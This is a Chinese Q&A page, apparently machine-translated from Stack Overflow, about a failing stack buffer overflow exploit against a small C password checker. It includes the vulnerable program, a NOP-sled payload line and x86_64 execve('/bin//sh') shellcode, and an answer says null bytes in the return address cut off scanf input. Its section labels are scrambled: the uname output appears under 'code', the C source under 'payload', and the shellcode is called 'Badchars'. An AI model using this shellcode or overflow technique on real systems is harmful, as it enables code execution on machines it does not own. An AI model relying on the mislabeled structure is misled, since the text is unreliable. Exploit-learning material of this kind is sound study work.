简单的缓冲区溢出EIP覆盖不起作用

时间:2018-02-11 02:51:05

标签: c gdb buffer-overflow exploit

我会在stackexchange上问过这个问题但是我已经问过关于这个问题的类似问题而不是评论,我觉得我会在这里得到更好的结果。

我一直试图利用这个缓冲区溢出代码开启和关闭几周,我只是不知道诀窍是什么!

当用\ x41或几乎任何其他字符覆盖时我控制EIP,但当我尝试用有效地址覆盖返回地址时SIGSEGV指向不同的地址,捕获SIGSEGV的地址确实包含我的所有shell代码和我的41等。

我已关闭堆栈保护,堆栈是RWE,我还检查了坏字符,发现一些不包含任何错误字符的shell代码。如果有人可以提供帮助,我将不胜感激,因为我想要进步,在线资源似乎不能解决我的问题。我已经阅读了Smashing堆栈以获得乐趣和利润,并了解基本知识非常简单的汇编基础知识,我已经阅读了大多数在线教程,他们在大多数情况下都是多余的,我一直在阅读任何与我的场景相关的stackoverflow文章,请你们其中一位专业人士会试着看看我的问题是什么。

uname -a输出:

b

以下是代码:

Linux windows 4.14.15-1-ARCH #1 SMP PREEMPT Tue Jan 23 21:49:25 UTC 2018 x86_64 GNU/Linux

这是包含shellcode的Payload,28个字节:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void validate(char *pass) {
    if (strcmp(pass, "[REDACTED]") == 0) {
        printf("ACCESS GRANTED!");
        printf("Oh that's just idio... Oh my god!\n");
    } else {
        printf("Damn it, I had something for this...\n");
    }
}

int main(int argc, char** argv) {
    char password[200];
    printf("C:/ENTER PASSWORD: ");
    scanf("%s", password);
    validate(password);
    return 0;
}

这是shellcode:

payload = "\x90"*132+ret+shell+"A"*44

Badchars是:

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

1 个答案:

答案 0 :(得分:0)

因此,根据您的故事,问题在于退货地址。您的无效返回地址是 0x41414141,即 'AAAA' 并且它不包含 NULL 字节。然后您尝试包含 NULL 字节的“有效”返回地址,以便 scanf("%s", password); 将停止从 stdin 读取。记住这里 scanf 正在读取以 NULL 结尾的字符串,如果您的返回地址包含 NULL 字节,它将停止并解释为什么您的有效负载不完整,shellcode 和 'A'*44 未被复制。请记住,我只是猜测地址包含 NULL 字节,因为根据您的故事,当您将返回地址更改为有效地址时,问题就开始了。